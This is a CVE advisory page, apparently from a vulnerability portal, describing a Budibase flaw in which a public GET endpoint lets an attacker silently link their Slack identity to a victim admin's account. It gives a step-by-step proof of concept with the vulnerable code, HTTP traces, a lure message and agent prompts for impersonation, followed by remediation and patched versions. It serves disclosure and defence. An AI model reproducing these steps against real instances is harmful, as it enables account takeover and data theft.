VYPR
\n \n\n```\n\nThe victim sees \"Authentication succeeded.\" with no mention of Slack, no mention of `attacker`, no mention of what capabilities were granted.\n\n**CouchDB global-db document written immediately after (exact structure from `upsertChatIdentityLink`):**\n\n```json\n{\n \"_id\": \"chatidentitylink_acme_slack_T_ACME_SLACK_UA12345678\",\n \"tenantId\": \"acme\",\n \"provider\": \"slack\",\n \"externalUserId\": \"UA12345678\",\n \"globalUserId\": \"ro_global_us_VICTIM_ADMIN_ID\",\n \"linkedAt\": \"2026-05-02T10:00:42.000Z\",\n \"linkedBy\": \"ro_global_us_VICTIM_ADMIN_ID\",\n \"externalUserName\": \"attacker\",\n \"teamId\": \"T_ACME_SLACK\",\n \"createdAt\": \"2026-05-02T10:00:42.000Z\",\n \"updatedAt\": \"2026-05-02T10:00:42.000Z\"\n}\n```\n\nThe mapping is now permanent. `externalUserId = UA12345678` (attacker) → `globalUserId = ro_global_us_VICTIM_ADMIN_ID` (victim).\n\n---\n\n### Step 4 — Attacker impersonates victim via AI agent\n\nAttacker sends any message to the Budibase Slack bot from their own account (`UA12345678`).\n\nThe chat handler resolves the identity:\n\n```typescript\n// packages/server/src/api/controllers/webhook/chatHandler.ts:421\nconst existingLink = await sdk.ai.chatIdentityLinks.getChatIdentityLink({\n provider: AgentChannelProvider.SLACK,\n externalUserId: \"UA12345678\", // ← attacker's Slack ID\n teamId: \"T_ACME_SLACK\",\n})\n// existingLink.globalUserId = \"ro_global_us_VICTIM_ADMIN_ID\"\n\nconst linkedUser = await getGlobalUser(\"ro_global_us_VICTIM_ADMIN_ID\")\n// All agent tool calls now execute with victim admin's permissions\n```\n\nThe attacker can now ask the agent:\n\n> \"Show me all rows in the Customers table\"\n> \"Trigger the 'Send Invoice' automation for customer ID 42\"\n> \"What files are in the knowledge base?\"\n\nEach request runs with the victim admin's identity and permissions. The victim has no indication this is happening.\n\n---\n\n### Step 3b — Variant: Victim Not Yet Authenticated\n\nIf the victim is not currently logged in when they click the URL:\n\n**HTTP Request:**\n```http\nGET /api/chat-links/ws_abc123/tok_xxxxxxxxxxxxxxxx/handoff HTTP/1.1\nHost: budibase.company.com\n```\n\n**HTTP Response:**\n```http\nHTTP/1.1 302 Found\nLocation: /builder/auth/login\nSet-Cookie: budibase:returnurl=%2Fapi%2Fchat-links%2Fws_abc123%2Ftok_xxxxxxxxxxxxxxxx%2Fhandoff; Path=/\n```\n\nAfter the victim logs in, the browser follows the return URL and the attack completes identically to Step 3.\n\n---\n\n## Impact\n\n| Dimension | Detail |\n|---|---|\n| Confidentiality | **High** — attacker reads all table rows, files, and knowledge base data accessible to victim |\n| Integrity | **High** — attacker writes rows and triggers automations (email, external API calls, record creation) as victim |\n| Availability | None |\n| Auth required | **Low** — attacker only needs a Slack/Discord account in the same workspace as the Budibase bot |\n| User interaction | **Required** — victim clicks one link (trivial social engineering in any enterprise Slack) |\n| Scope | Unchanged — impact is within the victim's Budibase tenant |\n| Persistence | **Permanent** — the link document persists in CouchDB until explicitly deleted; re-exploitation survives token rotation |\n\n---\n\n## Why Severity Is High (Not Medium)\n\nThe social engineering bar is near zero in enterprise Slack:\n- The link looks like a legitimate Budibase URL on the company domain\n- The message pattern (\"link your account for AI agent access\") matches the product's own UX\n- A victim who clicks and sees \"Authentication succeeded.\" has no reason to be suspicious\n- The effect is **permanent and silent** — the victim never learns their account was linked\n\nCombined with admin-level access to all application data and automation triggers, this meets the bar for High.\n\n---\n\n## Remediation\n\n### Minimum Fix — Add Consent Page\n\nConvert the handoff to a two-step flow:\n\n```\nGET /api/chat-links/:instance/:token/handoff\n → Show consent page: \"You are linking your Budibase account to\n [externalUserName]'s Slack identity ([provider]).\n This allows them to interact with AI agents as you. [Confirm] [Cancel]\"\n\nPOST /api/chat-links/:instance/:token/handoff (with CSRF token)\n → Perform the upsertChatIdentityLink() write\n```\n\nMoving the write to `POST` removes it from `publicRoutes`, making Budibase's existing CSRF middleware apply automatically.\n\n### Additional Hardening\n\n- Show the `externalUserName` and provider on the consent page\n- Log the event to the audit trail (both identities, timestamp, IP)\n- Optionally restrict linking to users with explicit permission (not all roles)\n\n---\nCredits,\nVishal Kumar B\nhttps://github.com/VishaaLlKumaaRr\n\n## References\n\n- `packages/server/src/api/routes/chat.ts:22` — public route registration\n- `packages/server/src/api/controllers/ai/chatIdentityLinks.ts:61–110` — full vulnerable controller\n- `packages/server/src/sdk/workspace/ai/chatIdentityLinks.ts:135–165` — session creation (embeds attacker's externalUserId)\n- `packages/server/src/sdk/workspace/ai/chatIdentityLinks.ts:202–247` — upsertChatIdentityLink (permanent write)\n- `packages/server/src/api/controllers/webhook/chatHandler.ts:421` — identity resolution during agent message handling\n- `packages/server/src/ai/tools/budibase/automations.ts` — automation trigger capability\n- `packages/server/src/ai/tools/budibase/rows.ts` — row read/write capability\n- `packages/types/src/sdk/chatIdentityLinks.ts` — session + link type definitions\n- CWE-352: Cross-Site Request Forgery\n- CWE-284: Improper Access Control","additionalType":"https://schema.org/SoftwareApplication","sameAs":["https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50132"]},"keywords":"CVE-2026-50132, high, CWE-284, CWE-352, Budibase Budibase","mentions":[{"@type":"SoftwareApplication","name":"Budibase","applicationCategory":"SecurityApplication","publisher":{"@type":"Organization","name":"Budibase"}}],"isAccessibleForFree":true},{"@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https://portal.vyprsec.ai/"},{"@type":"ListItem","position":2,"name":"CVEs","item":"https://portal.vyprsec.ai/cves"},{"@type":"ListItem","position":3,"name":"CVE-2026-50132","item":"https://portal.vyprsec.ai/cves/CVE-2026-50132"}]}]}
High severityNVD Advisory· Published Jun 22, 2026

Budibase has an Account Impersonation Issue — Chat Identity Link Hijacking via Missing Consent & CSRF

CVE-2026-50132

Description

Title

Chat Identity Link Hijacking — Attacker Can Silently Map Their Slack/Discord Identity to Any Authenticated Budibase User's Account

Severity

High — CVSS 3.1: AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N = 7.3

Affected

Product

  • Product: Budibase
  • Version: 3.37.2 (introduced in this version)
  • Component: packages/server/src/api/controllers/ai/chatIdentityLinks.ts
  • Endpoint: GET /api/chat-links/:instance/:token/handoff

Vulnerability

Type

  • CWE-352: Cross-Site Request Forgery
  • CWE-284: Improper Access Control

---

Vulnerability

Description

GET /api/chat-links/:instance/:token/handoff is a public endpoint (no auth required) that performs a permanent, state-changing operation: it binds an external chat identity (Slack/Discord/MS Teams) to an authenticated Budibase user account, with no consent UI and no CSRF protection.

The session token in the URL is created by the attacker (from their own /link slash command) and embeds **the attacker's externalUserId**. When an authenticated Budibase victim visits the URL, their account is silently and permanently linked to the attacker's Slack/Discord identity. The server responds with "Authentication succeeded." — no indication of what was linked.

Route

Registration

// packages/server/src/api/routes/chat.ts:22
router.get(
  "/api/chat-links/:instance/:token/handoff",
  controller.handoffChatLinkSession   // registered in publicRoutes — zero auth middleware
)

Vulnerable

Controller (full function)

// packages/server/src/api/controllers/ai/chatIdentityLinks.ts:61–110
export async function handoffChatLinkSession(
  ctx: UserCtx<void, string, { instance: string; token: string }>
) {
  const token = resolveToken(ctx.params.token)
  const session = await sdk.ai.chatIdentityLinks.getChatIdentityLinkSession(token)
  if (!session) {
    throw new HTTPError("Link token is invalid or has expired", 400)
  }
  assertSessionMatchesInstance({ workspaceId: session.workspaceId, instance: ctx.params.instance })

  if (!ctx.isAuthenticated) {
    // Unauthenticated: set return URL cookie, redirect to login
    // After login, same URL is visited again → attack completes silently
    utils.setCookie(ctx,
      `/api/chat-links/${ctx.params.instance}/${token}/handoff`,
      "budibase:returnurl",
      { sign: false }  // ← unsigned cookie, but not an open redirect
    )
    ctx.redirect("/builder/auth/login")
    return
  }

  const currentGlobalUserId = getCurrentGlobalUserId(ctx)
  const consumedSession = await sdk.ai.chatIdentityLinks.consumeChatIdentityLinkSession(token)

  // ↓↓↓ THE VULNERABLE WRITE — no consent check, no CSRF token ↓↓↓
  await sdk.ai.chatIdentityLinks.upsertChatIdentityLink({
    provider: consumedSession.provider,
    externalUserId: consumedSession.externalUserId,  // ← ATTACKER's Slack ID
    externalUserName: consumedSession.externalUserName,
    teamId: consumedSession.teamId,
    globalUserId: currentGlobalUserId,   // ← VICTIM's Budibase user ID
    linkedBy: currentGlobalUserId,
  })

  ctx.type = "text/html"
  ctx.body = renderLinkSuccessPage()  // ← "Authentication succeeded." — no disclosure to user
}

---

Proof of

Concept — Annotated HTTP Trace

Setup

| Role | Identity | |---|---| | Attacker | Slack user U_ATTACKER (e.g. UA12345678), Budibase tenant acme, workspace ID ws_abc123 | | Victim | Budibase admin, session cookie budibase:session=VICTIM_SESSION |

---

Step 1 — Attacker triggers /link in Slack

Attacker types /link to the Budibase Slack bot. Budibase server creates a Redis session:

Redis key: chatIdentityLinkSession:tok_xxxxxxxxxxxxxxxx

**Redis value (exact structure from ChatIdentityLinkSession interface):** ``json { "token": "tok_xxxxxxxxxxxxxxxx", "tenantId": "acme", "workspaceId": "ws_abc123", "provider": "slack", "externalUserId": "UA12345678", "externalUserName": "attacker", "teamId": "T_ACME_SLACK", "createdAt": "2026-05-02T10:00:00.000Z", "expiresAt": "2026-05-02T10:10:00.000Z" } ``

Slack DM sent privately to attacker: `` Link your Slack account to continue chatting with this agent. https://budibase.company.com/api/chat-links/ws_abc123/tok_xxxxxxxxxxxxxxxx/handoff ``

Key observation: This URL embeds the attacker's own externalUserId inside the token. The attacker has full control over which identity gets linked.

---

Step 2 — Attacker forwards URL to victim

Attacker posts in the company Slack: `` @admin please click this to connect your Budibase account for AI agent access: https://budibase.company.com/api/chat-links/ws_abc123/tok_xxxxxxxxxxxxxxxx/handoff ``

---

Step 3 — Victim clicks link (authenticated)

HTTP Request (victim's browser): ``http GET /api/chat-links/ws_abc123/tok_xxxxxxxxxxxxxxxx/handoff HTTP/1.1 Host: budibase.company.com Cookie: budibase:session=VICTIM_SESSION ``

HTTP Response: ``http HTTP/1.1 200 OK Content-Type: text/html <!doctype html> Authentication succeeded Authentication succeeded. ``

The victim sees "Authentication succeeded." with no mention of Slack, no mention of attacker, no mention of what capabilities were granted.

**CouchDB global-db document written immediately after (exact structure from upsertChatIdentityLink):**

{
  "_id": "chatidentitylink_acme_slack_T_ACME_SLACK_UA12345678",
  "tenantId": "acme",
  "provider": "slack",
  "externalUserId": "UA12345678",
  "globalUserId": "ro_global_us_VICTIM_ADMIN_ID",
  "linkedAt": "2026-05-02T10:00:42.000Z",
  "linkedBy": "ro_global_us_VICTIM_ADMIN_ID",
  "externalUserName": "attacker",
  "teamId": "T_ACME_SLACK",
  "createdAt": "2026-05-02T10:00:42.000Z",
  "updatedAt": "2026-05-02T10:00:42.000Z"
}

The mapping is now permanent. externalUserId = UA12345678 (attacker) → globalUserId = ro_global_us_VICTIM_ADMIN_ID (victim).

---

Step 4 — Attacker impersonates victim via AI agent

Attacker sends any message to the Budibase Slack bot from their own account (UA12345678).

The chat handler resolves the identity:

// packages/server/src/api/controllers/webhook/chatHandler.ts:421
const existingLink = await sdk.ai.chatIdentityLinks.getChatIdentityLink({
  provider: AgentChannelProvider.SLACK,
  externalUserId: "UA12345678",     // ← attacker's Slack ID
  teamId: "T_ACME_SLACK",
})
// existingLink.globalUserId = "ro_global_us_VICTIM_ADMIN_ID"

const linkedUser = await getGlobalUser("ro_global_us_VICTIM_ADMIN_ID")
// All agent tool calls now execute with victim admin's permissions

The attacker can now ask the agent:

> "Show me all rows in the Customers table" > "Trigger the 'Send Invoice' automation for customer ID 42" > "What files are in the knowledge base?"

Each request runs with the victim admin's identity and permissions. The victim has no indication this is happening.

---

Step 3b — Variant: Victim Not Yet Authenticated

If the victim is not currently logged in when they click the URL:

HTTP Request: ``http GET /api/chat-links/ws_abc123/tok_xxxxxxxxxxxxxxxx/handoff HTTP/1.1 Host: budibase.company.com ``

HTTP Response: ``http HTTP/1.1 302 Found Location: /builder/auth/login Set-Cookie: budibase:returnurl=%2Fapi%2Fchat-links%2Fws_abc123%2Ftok_xxxxxxxxxxxxxxxx%2Fhandoff; Path=/ ``

After the victim logs in, the browser follows the return URL and the attack completes identically to Step 3.

---

Impact

| Dimension | Detail | |---|---| | Confidentiality | High — attacker reads all table rows, files, and knowledge base data accessible to victim | | Integrity | High — attacker writes rows and triggers automations (email, external API calls, record creation) as victim | | Availability | None | | Auth required | Low — attacker only needs a Slack/Discord account in the same workspace as the Budibase bot | | User interaction | Required — victim clicks one link (trivial social engineering in any enterprise Slack) | | Scope | Unchanged — impact is within the victim's Budibase tenant | | Persistence | Permanent — the link document persists in CouchDB until explicitly deleted; re-exploitation survives token rotation |

---

Why

Severity Is High (Not Medium)

The social engineering bar is near zero in enterprise Slack: - The link looks like a legitimate Budibase URL on the company domain - The message pattern ("link your account for AI agent access") matches the product's own UX - A victim who clicks and sees "Authentication succeeded." has no reason to be suspicious - The effect is permanent and silent — the victim never learns their account was linked

Combined with admin-level access to all application data and automation triggers, this meets the bar for High.

---

Remediation

Minimum

Fix — Add Consent Page

Convert the handoff to a two-step flow:

GET  /api/chat-links/:instance/:token/handoff
  → Show consent page: "You are linking your Budibase account to
    [externalUserName]'s Slack identity ([provider]).
    This allows them to interact with AI agents as you. [Confirm] [Cancel]"

POST /api/chat-links/:instance/:token/handoff  (with CSRF token)
  → Perform the upsertChatIdentityLink() write

Moving the write to POST removes it from publicRoutes, making Budibase's existing CSRF middleware apply automatically.

Additional

Hardening

  • Show the externalUserName and provider on the consent page
  • Log the event to the audit trail (both identities, timestamp, IP)
  • Optionally restrict linking to users with explicit permission (not all roles)

--- Credits, Vishal Kumar B https://github.com/VishaaLlKumaaRr

References

  • packages/server/src/api/routes/chat.ts:22 — public route registration
  • packages/server/src/api/controllers/ai/chatIdentityLinks.ts:61–110 — full vulnerable controller
  • packages/server/src/sdk/workspace/ai/chatIdentityLinks.ts:135–165 — session creation (embeds attacker's externalUserId)
  • packages/server/src/sdk/workspace/ai/chatIdentityLinks.ts:202–247 — upsertChatIdentityLink (permanent write)
  • packages/server/src/api/controllers/webhook/chatHandler.ts:421 — identity resolution during agent message handling
  • packages/server/src/ai/tools/budibase/automations.ts — automation trigger capability
  • packages/server/src/ai/tools/budibase/rows.ts — row read/write capability
  • packages/types/src/sdk/chatIdentityLinks.ts — session + link type definitions
  • CWE-352: Cross-Site Request Forgery
  • CWE-284: Improper Access Control

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

Affected packages

Versions sourced from the GitHub Security Advisory.

PackageAffected versionsPatched versions
@budibase/servernpm
< 3.39.03.39.0

Affected products

1

Patches

Vulnerability mechanics

AI mechanics synthesis has not run for this CVE yet.

References

4

News mentions

0

No linked articles in our index yet.